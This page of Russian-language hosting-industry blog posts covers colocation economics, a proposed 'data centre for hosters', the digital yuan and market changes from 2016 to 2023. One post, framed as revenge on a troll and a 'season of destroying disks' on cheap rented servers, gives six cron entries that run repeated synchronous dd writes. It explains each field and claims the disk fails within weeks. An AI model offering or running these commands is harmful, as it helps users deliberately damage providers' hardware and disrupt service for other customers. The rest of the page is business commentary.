Рейтинг
0.00

Статьи

16 читателей, 69 топиков

как получаются необоснованно завышенные цены для потребителя ?

Статьи


они образуются
  • во первых, из-за жадных владельцев бизнеса
  • во вторых, из-за жадности сотрудников/владельцев при устаревании циклов обновления железного парка, из-за боязни снизить цену на старье, из-за боязни потратить лишнюю копеечку на будущее при закупках

почему люди продляют на 10 лет ? почему люди покупают и не пользуются ?

Статьи

в чем же приемущества коло перед арендой дедика ?

Статьи


прошло уже 2 или 2,5 года (точки отсчета разные кол-во запуска не равно кол-ву заполнения стойки)
2023 2024 2025
это хороший срок чтобы написать очередной бесплатный и честный опыт

помните я раньше сравнивал методы оплаты в дата-центрах
или сравнивал юзабилити, где удобнее покупать, чтобы потом перепродать
или дополнительные функции на дедиках которые у кого-то присутствовали, а у кого-то отсутствовали

итак какие плюсы получает хостер от собственной стойки?
сначала кажется что все дело просто в экономии денег. особенно если хостер планирует работать всю свою жизнь до самой смерти, то за 5-10-15 лет «цикла одной партии железа» — через покупку этого железа кажется что он может супер супер сэкономить, чем 15 лет платить за аренду.
в основном именно эта причина заставляет всех людей начать задумываться о коло.

но потом оказывается, что электроэнергия тоже растет в течение 15 лет
потом еще оказывается что нельзя укомплектовать стойку полностью т.к. дается собятинское нищебродское 5 квт, потом еще оказывается нужны дополнительные расходы на постройку надежной сети или инфраструктуры банально начиная от сетевых хранилищ, локальных сетей, каналов, связности, точек обмена, антиддоса какого-ниб, тому подобное. эти расходы хоть и дешевле чем «купить железо», но все равно тоже расходы.
оказывается что делать надежное коло — выгодно — только в том случае если у тебя много стоек планируется, только тогда все эти инфраструктурные расходы станут как раз дешевые. если же у тебя всего одна стойка, то делать качественное ядро просто нецелесообразно. но зато при большом объеме серверов расходы на ядро покажутся копейками, в сравнении с закупками уже потом самого железа.
короче если посчитать все расходы и разделить на мес — возможно будет одинаковая цена, что при аренде, что при коло.
поэтому изначальная фишка «сэкономить» — уже не кажется фишкой экономии, когда начинаешь понимать как все работает.

но все же, в чем же преимущество коло?
во первых нужно опять немного отклониться от вопроса и дополнить, что через текущие стойки всякие, без наличия собственного ДЦ — очень сложно продавать «выделенные серверы». можно лишь продавать только примитивные совковые ВМ, либо облачные решения на виртуализации какие-то. почему? а все это уже рассказано ранее, потому что в стране не существует дата-центра для хостеров. и потому что чтобы качественно и много продавать дедиков — нужно делать все последовательно, аккуратно, все красиво уплотнять стойка за стойкой, они должны находиться в одном помещении в одном ряду, все как нада, а не по 1 штуке на разных этажах, зданиях, городах или даже странах. потому что чем дальше расстояние — тем больше расхода уже за оптику уходит и прямые пиринги.
поэтому услугу выделенный сервер сделать на базе обычных дешевых стоек — невозможно.
ее можно запустить только владея уже дорогим чем-то, допустим даже самым примитивным дата-центром самостроем каким-ниб, уже будет совсем другой уровень для продаж.

но все же, в чем же тогда преимущество?
  • 1. возможность подключать любого интернет провайдера — основное преимущество коло
  • 2. возможность создавать direct connect
  • 3. возможность покупать/арендовать/делать собственные порты или собственные свитчи роутеры тд тд — гибкость сетевых решений короче
  • 4. возможность ставить собственные сетевые карты любого размера. хоть 100г ставь на каждый сервер. где ты на аренде такое найдешь? нигде и никогда такого не было даже у селектела в РФ не было. даже в ОВХ в европе не было и вряд-ли будет, потому что это не массовая услуга. а вот если бы родился специальный дата-центр для хостера статьи о котором я писал многократно, то такие фишки стали бы повседневностью и массовой услугой.
  • 5. собственные сети, собственные AS которые можно кидать на разные площадки. это меняет парадигму мышления в голове, твоя сетка больше не зависит от конкретного здания и конкретного дата-центра который тебе ее продал.
  • 6. возможность строить собственные сетевые функции, бекапы, стораджи, сан диски, лун диски, слепки и тому подобное. на аренде ты покупаешь мощность зачастую, а потом там даже бекап и то делается через интернет, ибо локалки нет, но на собственном коло — ты можешь улучшить надежность решения.
  • 7. разумеется потом можно поговорить и о 2N+1 всяких и создать все в дубликатах даже. но это уже скорее статья о постройках, чем о стойках. и это когда-ниб я обобщу отдельной статьей. например когда смогу пронаблюдать «ряды/залы», которые как раз уже будут соединяться надежными решениями друг с другом.
  • 8. возможность делать индивидуальный конфиг — но это скорее бонус. в аренду можно накупить любых конфигов сейчас, или даже из непригодного создать пригодное, если ты хороший опытный интегратор решение всегда найдется под любую цену и потребности. поэтому я бы не назвал это сильным преимуществом, но отметить стоит. как мы уже выявили, на коло как раз выгодно покупать очень мощные тяжелые серверы, именно там ценовая разница отличается от аренды. а если покупать банальные дешевые, то вместе с сетевыми расходами разница уже не будет заметна. поэтому 1 ТБ 2 ТБ озу серверы на коло, но не 256 озу.
  • 9. функции ПО которые встроенные в ПУ облака — а вот это скорее всего человек на коло сам никогда не создаст, поэтому сервис с арендой в данном случае выгоднее если клиент хочет делать всю гибкость безопасности через ПУ, а не через консоль. ну речь о базовых фаирволах, настройках доступа ролях, аудит логов и тд я дописал это в пунк сравнения для наглядности. ведь тому кто будет делать коло когда-ниб придется с этим столкнуться и это будет такая же часть расхода, как и «настройка качественного ядра», т.е. 1. покупка железа 2. ядро 3. ПО — сначала кажется что на коло есть только 1., но потом оказывается что расходы есть и на 2. и на 3. и даже на 4. безопасность 5. лицензии и законы, если вдруг хостер доберется до такого уровня. есть так же и 6. пункт расхода называется сотрудники, но это очень спорный вопрос, ведь можно просто честно разделить все доли и будет группа основателей делающих общее дело.
  • 10. на коло можно делать связность через множество AS, разных компаний по разным странам, стойки дц в разных зданиях и правовых полях. гибкость подобного решения. я бы назвал это возможность построения собственной приватной сети между всеми услугами. на аренде такое ты не сделаешь.

т.е. подведем итог.
если бы какой-ниб дата-центр для хостеров, создал бы охуенное сильное ядро. и давал бы через аренду одной кнопкой любой порт, любую скорость, любой роутер в аренду, любого провайдера и без жадности(зарабатывал на другом), чтобы это было аналогично как собрать ядро самому — возможно тогда и не было бы смысла покупать собственное, а сейчас смысл обоснованно есть.

полезная частичная история

способность цифрового юаня «двойной офлайн-платеж», которая позволяет выполнять транзакции даже без доступа в интернет

Статьи


coinedition.com/digital-yuan-goes-global-cips-2-0-sparks-shift-in-cross-border-payments/

Система трансграничных межбанковских платежей Китая (CIPS 2.0), работающая на основе цифрового юаня, как сообщается, заработала в 16 странах Азии и Ближнего Востока.

Это может означать снижение стоимости трансграничных торговых платежей на 90%. Во-вторых, система, как говорят, обеспечивает технологические преимущества помимо скорости. Как заявил Йенг, сингапурский банк DBS Bank протестировал способность цифрового юаня «двойной офлайн-платеж», которая позволяет выполнять транзакции даже без доступа в интернет.

Давненько статей не писалось

Статьи


Сегодня я почувствовал что снова попал в точку и снова нашел кусочик истины.
Захотелось увековечить эти рассуждения в статьях опыта.

В прошлом году мы суммировали опыт коло. Когда с нуля прошли гипотезу и дошли до доказательства итога. Мы так и продолжаем делать новые стойки и новые GEO, но теперь они создаются по уже протоптанной дороге и поэтому нет смысла писать, это уже просто рутина.
Тогда мы родили 2 топика и даже осознали к чему нужно стремиться — стать дата-центром для хостеров.
/blog/polezno/

Но в конце 2024 года продался servers.ru лучшему облаку страны selectel.ru
И это очень знаковое событие, которое до сих пор рождает разные вопросы и рассуждения в моей голове. До сих пор я ищу истину почему произошло это событие, как компания довела себя до такого, какие предпосылки были до этого факта, что привело к таким последствиям. Ищу причину в психологии клиентов и в психологии самих хостеров.

Хочу выделить отдельные метки и некоторые отдельные топики, но советую конечно изучить весь материал по меткам и по всем ссылкам(отсылкам) из любой моей статьи.
/tag/lowcost/
/tag/облака-против-дедики/
/tag/поведение-клиента/
/tag/облачная-разница/

главное новое открытие, которое я и хочу задокументировать в истории хостинга по годам(2024/2025) — я создал новую категорию облаков в «потребительском сравнении», теперь потребитель делит облака не только по «клиент может сделать сам v1» и «не смогу сделать своей командой v2 сервисное как яндекс», есть еще v3 которое «мощность в аренде на которой клиент делает сам v1 сервисы».
/tag/облако-v3/

Были еще статьи про ДЦ и коло, но думаю после того как я суммировал опыт с коло, мысли ушли именно на облачное сравнение, поэтому оставим как есть. Возможно в будущем нужно будет сделать ресерч нового блога и выбрать лучшее за 5 лет.

В стране нету компании, которая бы хотела работать только с Хостерами

Статьи
  1. Нету Дата-центра для хостеров
  2. Чтобы он был построен именно таким образом



Что это значит ?
Это значит в аренду там должны сдаваться только максимальные серверы с максимумом ОЗУ чтобы хостер мог использовать кол-во озу по назначению и сделать конкурентную цену на виртуалку

Начиналась мысль именно с серверов с озу
Потому что везде ставились 32 64 озу вместо 256, либо 256 были необоснованно завышены, что не давало возможность «клиенту-хостеру» сделать конкурентную цену и сводило на нет саму затею как купить сервер в аренду у этого ДЦ. т.е. ДЦ должен был думать что его клиентами будут хостеры и делать такие цены и услуги, чтобы хостерам было удобно.

Кроме озу что еще нужно ?
Как оказалось электричество
Если этот ДЦ для хостера будет очень крупный и не будет переживать о месте, то может делать и по старинке и наполняться 4u корпусами, если земля безлимитная у него будет в его расположении
Но если этот ДЦ для хостера ограничен землей, то ему нужно на 1 стойку ставить 15 квт минимум или еще выше, потому что «клиент-хостер» будет уплотнять, чтобы опять же — сделать конкурентную цену.
Либо третий вариант должно измениться ценообразование стойки.
Что дешевле в нашей стране? земля или электричество? пусть об этом уже специалисты думают, если захотят делать ДЦ для хостеров.

Далее, т.к. клиенты в этом ДЦ будут не определенной нагрузки, а максимально и максимально хаотичные — потому что хостеры это полный разброс аудиторий. то значит сетевое ядро должно быть тоже не бедное. можно наделать кучу платных сервисов по подписке под каждого хостера. но сам ДЦ должен быть изначально уже спроектирован с всеми нужными расширениями каналов и защит. никто не требует от этого ДЦ бесплатных сетевых услуг, но они должны быть там уже готовые, чтобы когда придет время хостеру расширяться — ему не пришлось бы бегать туда сюда, а он просто бы заплатил и включилось что нужно.
Хостеры это люди которые 15 лет готовы сидеть на одном месте! а может и 30. а может и вовсе 50 лет всей своей жизни до самой пенсии.
таким людям — один раз продал сервер и все, до самого конца. если ДЦ не упадет от каких-то внешних факторов. вот поэтому и нужно хорошее сетевое ядро.

Дата-центр для Хостеров должен мыслить как доставка продуктов. Максимально все удаленно должно быть. Чтобы хостеры могли просто заказать серверы, ДЦ их купил бы, собрал, поставил и все блять 15 лет пока не сгорит. А если сгорит — ну значит поменяется что-то, и цену этой детали просто выставят хостеру и все. Т.е. эту деталь не хостер должен заказывать, а сам ДЦ просто купил, поменял, взял деньги за свою работу. Сами серверы хостеру нахуй не нужны даже. Поэтому оформлять их можно даже прямо на сам ДЦ. Хостер хочет конкурентную месячную цену продления чтобы за 15 лет быть в выгоде, и вовсе не хочет иметь себе сервер который через 15 лет устареет. Спустя 15 лет хостер просто напишет «дата-центру для хостера» — типо вот эти и эти серверы, вытащите и делайте с ними что хотите, они больше не нужны, хоть бомжам на улице подарите. Именно так. И никак иначе. Это называется современный интернет подход.

Дата-центр для Хостера не должен вообще никак дрочить услуги хостера. Устарел зал? Ну так и хуй с ним. Никаких переездов, никаких переносов внутри ДЦ, работает именно пока не сгорит на одном месте. Дата-центр для хостера еще так же может в аренду сдавать сети IP по конкурентной цене. Сейчас почему у ДЦ не покупают? Потому что есть места где можно купить дешевле, но Дата-центр для Хостера должен сразу понимать эти вещи, что на хостерах невозможно заработать «через вот эти и эти и вот эти услуги», поэтому какую-то часть услуг он должен отдавать прямо по себестоимости. Цель Дата-центра для хостеров в том, чтобы хостеры там сидели всю жизнь. А заработать он уже сможет на других услугах «по подписке», на сервисах, которые будет предлагать разным хостерам по мере их роста, по мере их развития, каждый хостер индивидуален и никто не знает в какое направление он будет развиваться. А дата-центр для хостера сможет поглотить и проанализировать как раз все эти направления и получить опыта, а может быть даже и стать партнером в доле у каких-то конкретных хостеров наиболее интересными и уже не только хостер будет вкладывать бабки в покупку серверов, а и сам ДЦ и получать долю прибыли.

Дата-центр для хостера разумеется должен понимать что такое хостер. Поэтому никаких тупых сотрудников, никаких распильщиков бюджета, никаких первых вторых линий поддержки. Чтобы хостеру не отключали услуги по беспределу или из-за тупости и неграмотности сотрудника. Ну а если полиция придет — так отдайте им ебучий сервер и все, никто же не против такого. Хотят сервер? Пусть забирают. Никакие санкционные тролли не должны влиять на дата-центр для хостеров, потому что он должен понимать что хостер это ПОСРЕДНИК, а не конечный клиент услуги. Каждый сотрудник Дата-центра для хостера должен наизусть выучить это, как правило пользование дата-центром, чтобы знал.

Это базовые функции.
Но если дата-центр для хостера умеет в большее, то он еще может и ПО мутить для хостеров. Допустим начнется там 10 20 50 100 хостеров внутри этого ДЦ создаваться. И половина из них вероятно не проживет 15 лет, а захочет уйти с рынка. И вот если все эти 100 хостеров создавались бы в ПУ от Дата-центра для хостеров, то все слабаки, все желающие выйти из игры, просто бы бесплатно отдавали(или продавали другим соседям по дата-центру) своих клиентов и свое оборудование что УЖЕ НАКОПИЛОСЬ в дата-центре для хостера, чтобы никаких миграций, ничего. А ПРОСТО в панели меняешь собственника/владельца/админа и все — пролжаешь продлять эти серверы и услуги но уже от другой хостинговой компании. Вот это было просто охуенно. Но такое не каждый дата-центр может сделать, поэтому это лишь пожелание уже, а не базовая функция.

Что там еще? ИБП и ДГУ? А они не обязательны для хостера.
Возможно когда он уже накопит достаточно много клиентов — ОН И КУПИТ ИХ САМ СЕБЕ. Просто так же даст вам денег, вы пойдете купите и подключите.
А на начальном уровне это не нужно. Нужно только хорошее сетевое ядро чтобы сеть не падала, чтобы можно было по человечески работать и увеличивать заказы. Ну а если энергия рубанется, ну как упало, так и встало. Не думаю что энергию можно отрубить на 12 часов, не так ли? пол часа полежать для хостера новичка это не страшно. Как я уже описал ранее в тех кто хорошо разовьется, потом можно совместно с Дата-центром для хостера покупать новое оборудование включая и ИБП уже для стоек и всякие дизеля. Это как раз кстати можно организовать как «сервисы по подписке». Зачем на все «все включено»? Каждый хостер сам в конфигураторе выберет те услуги, которые ему нужны, в зависимости от его потребности безопасности или мировозрения или авантюризма даже, от Дата-центра для хостера.

Самое главное все это должно делаться по интернету. Дата-центр для Хостера — это интернет магазин, где через монитор, мышкой тыкаешь и заказываешь абсолютно все что нужно, для того, чтобы запуститься в роли хостера. А не какой там офис куда приходишь или привозишь.

Возможно когда-ниб Дата-центр для Хостера станет еще и ОФД Кассой и прямо Биллингом. Если запартнерится с каким-ниб Тинькофф банком. И там тоже самое — будет постоянное просеивание слабаков, и просто переоформление базы клиентов с одного ИП на другого. Как описано выше с ПО от дата-центра.

ps

upd

Суммирование опыта коло за последние пару лет

Статьи


Давно не писались какие-либо статьи и обучающий материал.

С 2021 года особо не писал философии или статьей. Только мелкие заметки. Но пришло время объединить некоторые мысли и родить именно статью.

Итак, за 2022-2023 годы — мы доказали что можно окупать серверы за 6 месяцев легко. Доказали и показали на фактах какие проблемы, и какое заполнение клиентами, и какое кол-во серверов нужно чтобы «открыть типичный хостинг новичок», но с собственными коло серверами.

Так же пришло время дать некоторые предсказания, как я делал и раньше.

Опыт про коло

Философия о рынке, маркетинге, клиентах и поведенческих факторах психологии клиента

Нереализованные идеи


И многое другое, слишком сложно суммировать топики в одно целое, мысли могут дополнять друг друга спустя годы.

Хотите отомстить троллю который вас преследует ? Даю инструкцию как сжечь диск. Объявляется сезон уничтожения дисков на дешевой аренде выделенных серверов

Статьи
Команды которые нужно записать в планировщик (надо открыть cron через команду “crontab -e” и в конце файла вписать команды ниже, нажать ctrl+s, потом ctrl+x / софтина сама сохранит конфиги и будет применять их):
0-59/3 0-23 * * 1-6 dd if=/dev/zero of=/tmp/upload1.img bs=2G count=10 oflag=dsync

0-59/4 0-23 * * 1-6 dd if=/dev/zero of=/tmp/upload2.img bs=2G count=10 oflag=dsync

0-59/5 0-23 * * 1-6 dd if=/dev/zero of=/tmp/upload3.img bs=2G count=10 oflag=dsync

0-59/6 0-23 * * 1-6 dd if=/dev/zero of=/tmp/upload4.img bs=2G count=10 oflag=dsync

0-59/7 0-23 * * 1-6 dd if=/dev/zero of=/tmp/upload5.img bs=2G count=10 oflag=dsync

0-59/8 0-23 * * 1-6 dd if=/dev/zero of=/tmp/upload6.img bs=2G count=10 oflag=dsync


Разбор команды:
0-59/3 0-23 * * 1-6 dd if=/dev/zero of=/tmp/upload1.img bs=2G count=10 oflag=dsync


Разметка для CRON:
  • 0-59/3 — каждую третью минуту в промежуток между 0 минутой и последней 59 минутой часа
  • 0-23 — в промежуток между 1 часом ночи вплоть до 24 часа дня (нумерация часов и минут идет с 0)
  • * — каждый день
  • * — каждого месяца
  • 1-6 — в промежуток между 1 днем (понедельником) и 6 (воскресенем)


Разметка для DD:
  • dd — мы выполняем команду dd
  • if=/dev/zero — которая берет информацию с папки /dev/zero (папки для нулевых байтов, пустого места по сути)
  • of=/tmp/upload1.img — и записывает в папку tmp файл upload1.img
  • bs=2G — размером 2 Гигабайта (2048 Мбайт, лимит софта именно 2 ГБ)
  • count=10 — десять раз подряд
  • oflag=dsync — при помощи операции ввода вывода для данных (пустой записи, записывая постоянно НИЧЕГО)

т.е учитывая команды выше, каждую каждую третью, четвертую, пятую, шестую, седьмую, восьмую минуту часа (безостановочно практически в течении каждого часа дня, каждого дня в течении недели, каждой недели) мы записываем 10 раз файл по 2 Гигабайта.

По памяти скажу, 2 Гигабайта записываются примерно за 12 секунд, 20 Гигабайт примерно за 2 минуты. Не давая серверу просыхать — он запускает следующую команду по перезаписи или делает её одновременно с другими файлами upload1-6.

Технически за 17 дней можно добиться того, что диск не может более записывать с быстрой скоростью файлы или читать их. Это не значит что он прямо сгорит, но по факту — выйдет из строя в ближайшее время.

Как менялся хостинг за последние 5 лет ?

Статьи
Помните мою старую древнюю статью.
2016г (2008=>2016 или быть точным 2011-2016, т.к. 2008-2011 это шаред)
alice2k.me/blog/hosting/4200.html
obzor.ly/2016/04/kak-menyalsya-xosting-za-poslednie-5-let/
Она была написана еще тогда когда я просто «искал что-то на рынке» и «гадал о будущем».
Сейчас же есть вещи в которых я уже не сомневаюсь. Уже есть вещи которые неизменны, уже протоптанные модели, все скучно и видно реальное будущее множества компаний или услуг, гадать как и что с ними произойдет уже не нужно, можно лишь либо вкладываться и развивать, либо оставить нишу другим и сосредоточиться на другом направлении в зависимости от твоих возможностей, либо вообще просто вложиться финансово если деньги есть.

Аккурат после той статьи кстати буквально через месяц началась эпопея с покупкой хетзнера 1к дедиков, которая длилась с апрель по октябрь, нам не могли выдать столько сразу и поэтому частями собирали и выдавали. Представляете целое лето ушло «в ожидании». Никогда еще заказ так долго я не обрабатывал никому. Сейчас же заказы вообще каждый день идут бесконечным потоком, либо могут задерживаться на недели или даже месяцы, и уже ничего не удивляет.



Так вот, вдруг неожиданно мне захотелось написать топик.
Так бывает — это чувство приходит неожиданно и ты понимаешь что хочешь что-то написать.

2016 => 2023 (хорошая быстрая подборка ссылок кстати была случайно написана тут)
Не совсем 5 лет, но пусть будет очередная пятилетка. 2017 2018 2019 2020 2021 как раз. А 2022 уже начинается другая эпоха про которую я напишу где-ниб в 2026 или когда там война закончится.

Итак.
Шаред хостинг — сейчас они преобразовались в три вида. Первый вид это слияния. Второй вид это когда шаред стал веб-студией, хотя 10 лет назад казалось наоборот из веб-студии можно сделать дополнительно шаред. И третий вид шареда это когда шаред ушел еще и в регистраторов доменов и полное обслуживание цикла «нубо-клиента». Черт подери но шаред хостинг до сих пор не умер и все еще продолжает жить. Хотя конструкторы сайтов уже задавили его по доходам. Шареды на слуху так и остались пожалуй ihc.ru beget.com и еще lite.host продолжался очень долго, значит чел все же делает свою работу неплохо как и лидеры. тиаймвеб рег-ру разумеется тоже были, но все равно, до сих пор я не могу их порекомендовать кому-то, а вот beget или ihc да порекомендую.
Еще были попытки превратиться из шареда сразу в облако, как бы пропуская пункт с VPS/VDS совковыми и пункт GEO. Это были некие попытки догнать, типо денег дохуя, нужно что-то новое, а что новое? Ничего в голову этим компаниям не пришло видимо, кроме как попробовать замутить облако, но не сырое или слабое, а сразу потратить огромные суммы чтобы сделать достойное облако, но которое все равно не будет дотягивать ни по авторитету(бренд тоже важная штука как и 10 летний путь репутации клейма), ни по уровню облаков первой эпохи кто делал облака еще с 2012 годов.

VDS/VPS совковой эпохи.
1. первый путь у них это расширения множества geo с тем же самым набором услуг
2. второй путь попытка создать свое облако, аля пример с clo.ru когда firstvds.ru решил уйти от «стандартного цикла нубов» в «нечто другое», но в тоже время так и не стали восприниматься как полноценное облако в головах людей, потому что люди сразу ассоциировали/представляли более развитых и крупных игроков и их набор услуг.
3. третий цикл стали продавать выделенные серверы.
4. четвертые просто продались тем, кто успел уже построить облако ранее и стал крупным.
5. многие начали снова делать частные сервисы в офисах или самостроях. и рынок мини-цод тоже хорошо развивался и будет развиваться и дальше. в РФ 1100 городов, а в каждом городе есть по 5 крупнейших районов, в каждый район по контейнеру — такое будет будущее.
Про VDS или VM — честно скажу, тут зарулили новые игроки. Почему-то все старички не удосужились сделать даже ни одной новой geo, вместо этого будущее заняли абсолютно иные хостинги и бренды. Пусть товар так и остался примитивным совковым, но он тоже приносит деньги на удивление и по сей день, даже самострой ребутающийся каждый день может быть прибыльным, я просто в шоке.

Выделенные серверы
1. Часть компаний захотела отойти от дедика и стать облаком, но опять же никто не смог сдать «действительно облаком» как его видит потребитель изначально. Догнать амазон гугл никто не смог.
2. Другая часть осталась продолжать делать дедики, но все же сделала «совковые виртуалки» простого назначения и из-за этого теперь страдает с верификацией новых клиентов. Из-за появления дешевых услуг сработало и появление мошенников и теперь те, кто хочет купить сотню дедика и принести хорошие деньги не могут зарегистрироваться т.к. сотрудники могут думать что это человек за 3 евровым говном прет и отказывают ему.
3. Еще часть дата-центров так же пыталась в geo или улучшала свои внутренние облачные панели, обрастала дополнительными сервисами или улучшала качество сервисов, к таким я бы отнес selectel которые росли за счет того что имели и просто делали это еще лучше, но без амбиций по каким-то «новым» темам. Они брали ядро и накручивали на него, но не создавали новые ядра.
4. И конечно же хороший пример это пример с ОВХ, которые пытаются (да, некорректно их сюда пока что приплетать, ведь этого еще не случилось, это должно отражаться в будущем топике через лет 5)

Облака первой эпохи. Они стали облаком v2 сервисным. Либо эти облака настроили новых ДЦ и больше GEO присутствия и еще плюс 500 новых сервисов. Догнать облака первого поколения уже не представляется возможным мне кажется никому. А те компании которые в теории могли, например мтс облако, сбер облако, билайн облако, я как-то писал что им похуй вообще, как раз только сейчас начали что-то делать, но стать новым яндекс облаком у них уже не выйдет. В этом цикле облака действительно стали решать конкретные проблемы клиентов, а не просто «переплачивать в 5 раз дороже как было в старом цикле». И есть очень крутые панели которые превосходят и дедик в том числе. Но все это специфично, не массово.

Сервисы ддос-защиты
1. заключали партнерства с дата-центрами, именно сами как бренды не особо увеличивались
2. ддос защита стала гораздо ближе к CDN сервисам
3. будущее этих сервисов? скорее всего будущее антиддоса, именно как отдельного бренда будет связано с безопасностью на всех фронтах
4. антиддос как отдельный сервис в облаке? это скорее прошлое, чем будущее

Нейросети или GPU облака
Таких будет все больше. Как по мне этот сегмент не особо менялся, он просто появился и он просто стал только у тех кто крупный и кто имеет финансы, мелкие игроки практически не запускают такое.

Панели? Виртуализация? В прошлом топике я писал что делали OVZ XEN KVM и только KVM выжило. Да, думаю действительно так оно и случилось. Я сам не разу не делал ни на XEN ни на OVZ, только на KVM, абсолютно на всех новых хостингах. Конечно в этот цикл появились и другие облачные технологии, но какого-то массового распространения или доступности в два клика я не заметил. VMmanager делала LXD которое тоже сгнило и все равно — все делают на KVM. Из панелей для сервера появилось наоборот очень много конкурентов для ISPmanager, она хоть и держится — но я уже давно перестал ей пользоваться, разворачиваю инстант в облаке какой-ниб на fastpanel.ru или cloudpanel.io, только если планирую все же раздавать аккаунты людям под сайты, только тогда ISPmanager мой взгляд смотрит. Я специально не буду перечислять множество ПО которое публиковалось в моих блогах за прошедший цикл, ПО было разнообразное. Скажем так — выбора стало БОЛЬШЕ, чем было когда-то раньше когда я писал прошлую пятилетку. Но вот желание создавать на этом разнообразии — желания стало меньше. Привычка дело такое, уже привык на чем-то и потом просто на том же самом «быстро качественно дешево».

Сам интернет стал еще обширнее и еще грязнее. Бесплатных сервисов уже почти не осталось, даже гиганты уже начали удалять мертвые никому не нужные аккаунты и их хранилища, это раньше они накачивали инвестиции типо «у нас вот рост базы», щас база это просто мусорные аккаунты которые создают убытки. Вроде бы интернет пытаются сегментировать, пытаются все записать, держать все под контролем, в каждой стране сейчас принимаются законы по стандартизации, но все равно обилие хаоса и мусора не уменьшается, потому что просто «кто-то плохо работает или неграмотен». Невозможно сделать круто качественно и чтобы все и везде соблюдали твои правила/стандарты. Но все же тот же geo по базам ip очень даже хорошо развилось, bgp сервисы тоже хорошо развились. Жду в будущем полноценные каталоги по каждому городу и району, какие провайдеры и ДЦ там существуют, вплоть до всех их сетей обновляемых в реальном времени, тем более ipv4 больше не растет.

Лично мой выбор потребителя тоже не менялся. Прошедший цикл лет я в основном продавал те самые компании, которые отобрал за период прошлого цикла когда «пробовал». Продавал только тех, кто меня не подвел в прошлом и кто был надежен. Ну и интегрировал запросы клиентов тоже именно в них. Думаю уже сложилась просто «привычка» за эти годы. В новом же цикле собираюсь попробовать и новеньких, повторить былое. А то компании совсем зажрались, не уважают уже клиентов, которые с ними десяток лет, тех кто миллионы евро им принес — просто так без причины могут заблокировать. Так что нужно возвращаться в нулевые и подход нулевых годов, когда интернет не был надежным сегментом и только развивался, когда самый адекватный подход был — просто не доверяй никому, потому что в интернете никакой ответственности у бизнеса нет. Сейчас случилось тоже самое — европа сама себя дискредитировала и подорвала доверие, то самое доверие, которое она нарабатывала два десятка лет. Европа опустилась до уровня «не покупай в рф» )) Как когда-то давно писали про рф — типо нахуй нада вдруг заблочат без причины, тоже самое сейчас в европе. А рф наоборот законодательно теперь обязывает компании работать по стандартам всяким. И даже реестры вводит качественных исполнителей услуг.

Прошлый топик заканчивался коронной фразой от ОВХ которая звучала «да, да, да» — т.е. на любой запрос клиента у них всегда было решение.
Но сейчас не существует такой компании которая бы решила все ваши проблемы. Наоборот все стало очень сложно и теперь дробление, дробление, снова дробление, под каждую страну свою компанию, под каждую страну свой сайт. Если бы бинанс создал 500 бинансов с другими названиями, то к нему бы никаких претензий никогда бы и не было. Время когда делать крупный сильный бренд было модно — ушло. Хочешь работать, просто работай, но не создавай крупняка. Хостинг вступил в новую эру.

Возможно я хотел написать больше. Но не получилось. Может быть еще напишу продолжение к этому топику в новый год, а может быть и не напишу.